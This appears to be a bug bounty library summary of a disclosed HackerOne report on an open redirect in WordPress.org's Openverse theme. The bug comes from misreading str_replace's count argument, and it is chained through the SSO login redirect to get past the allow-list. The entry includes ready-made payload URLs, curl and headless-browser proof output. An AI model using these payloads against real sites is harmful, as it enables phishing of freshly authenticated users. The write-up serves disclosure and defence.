# wordpress.org/openverse/: unauthenticated open redirect — `str_replace()`'s 4th arg is a count, not a limit; bypasses WordPress.org SSO allow-list

Openverse theme misuses str_replace's 4th arg as a limit, so a second /openverse in the path collapses into the redirect authority, yielding an off-site 301 that bypasses the WordPress.org SSO allow-list.

- Payout: hidden
- Severity: medium
- Program: WordPress
- Found by: jakubk
- Disclosed: 2026-10-30
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3933198
- Library page: https://bugbountylibrary.com/r/h1%3A3933198
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:medium tech:php tech:wordpress technique:chained technique:source-review vuln:auth-bypass vuln:open-redirect

**Target:** wporg-openverse theme index.php redirect handler on wordpress.org/openverse
**Root cause:** get_target_url() calls str_replace(OPENVERSE_SUBPATH, '', $path, $count) with $count=1, but the 4th argument is a by-reference output count, not a limit, so every '/openverse' occurrence is stripped. The remainder is concatenated onto a bare origin (no trailing slash) and passed to wp_redirect(), letting the remainder extend the URL authority.
**Steps:**
1. Request `https://wordpress.org/openverse/openverse@evil.example/`
2. Theme strips both `/openverse` occurrences, leaving `@evil.example/`
3. Concatenated onto bare origin `https://openverse.wordpress.net` yields `https://openverse.wordpress.net@evil.example/`
4. wp_redirect() 301s to that URL; authority is evil.example
5. Variant B: `/openverse/openverse.evil.example/` yields `https://openverse.wordpress.net.evil.example/`
6. Chain via `https://login.wordpress.org/?redirect_to=<urlencoded payload>` — parse_url host is wordpress.org, passing the SSO VALID_HOSTS allow-list
**How found:** Source review of the wporg-openverse theme; noticed the comment 'Only replace the leading Openverse subpath' next to str_replace with a 4th argument of 1, recognized the 4th arg is an output count not a limit, then reasoned that a second /openverse in the path would be stripped and the remainder could extend the authority given the trailing-slash-stripped origin.
**Exploitation:** Unauthenticated attacker sends a link whose hostname is literally wordpress.org; victim follows it and receives a 301 to attacker-controlled content, with a *.wordpress.org referrer and a browser-cached permanent mapping. Chained through login.wordpress.org's redirect_to, the freshly-authenticated user is deposited on attacker content after passing the SSO allow-list.
**Escalation:** Chaining the redirect with the WordPress.org SSO login flow's redirect_to parameter defeats the VALID_HOSTS allow-list, turning a bare redirect into a post-authentication phishing primitive against WordPress site owners and contributors.
**Insight:** When a redirect target is built by concatenating a bare origin with a path remainder, any bug that lets the remainder start with '@' or '.' converts a path into an authority — and PHP's str_replace 4th argument is an output count, so 'limit 1' comments are a red flag worth grepping for across a codebase.

## Proof of concept (copied exactly from the original report)

**PHP proof that str_replace 4th arg is a count**

```
$ php -r '$c=1; var_dump(str_replace("/openverse","","/openverse/openverse@evil.example/",$c), $c);'
string(14) "@evil.example/"
int(2)
```

**End-to-end HTTP payloads against real theme**

```
REQ /openverse/openverse@evil.example/                   Location: https://openverse.wordpress.net@evil.example/
REQ /openverse/openverse.evil.example/                   Location: https://openverse.wordpress.net.evil.example/
REQ /openverse/openverse@evil.example/login?next=x       Location: https://openverse.wordpress.net@evil.example/login?next=x

=== NEGATIVE CONTROLS (proving this is specifically the multi-occurrence strip) ===
REQ /openverse//evil.example                             Location: https://openverse.wordpress.net//evil.example
REQ /openverse/@evil.example                             Location: https://openverse.wordpress.net/@evil.example
REQ /openverse/x/openverse.evil.example                  Location: https://openverse.wordpress.net/x.evil.example
```

**Browser follows userinfo redirect to attacker origin**

```
$ curl -sS -i --path-as-is "http://127.0.0.1:8605/openverse/openverse@127.0.0.1:8605/landed"
HTTP/1.1 301 Moved Permanently
X-Redirect-By: WordPress
Location: http://openverse.wordpress.net@127.0.0.1:8605/landed

$ chromium --headless --no-sandbox --disable-gpu --virtual-time-budget=6000 \
    --dump-dom "http://127.0.0.1:8605/openverse/openverse@127.0.0.1:8605/landed"
<!DOCTYPE html>
<html><head></head><body>ATTACKER-ORIGIN-REACHED host=…127.0.0.1:8605</body></html>
```

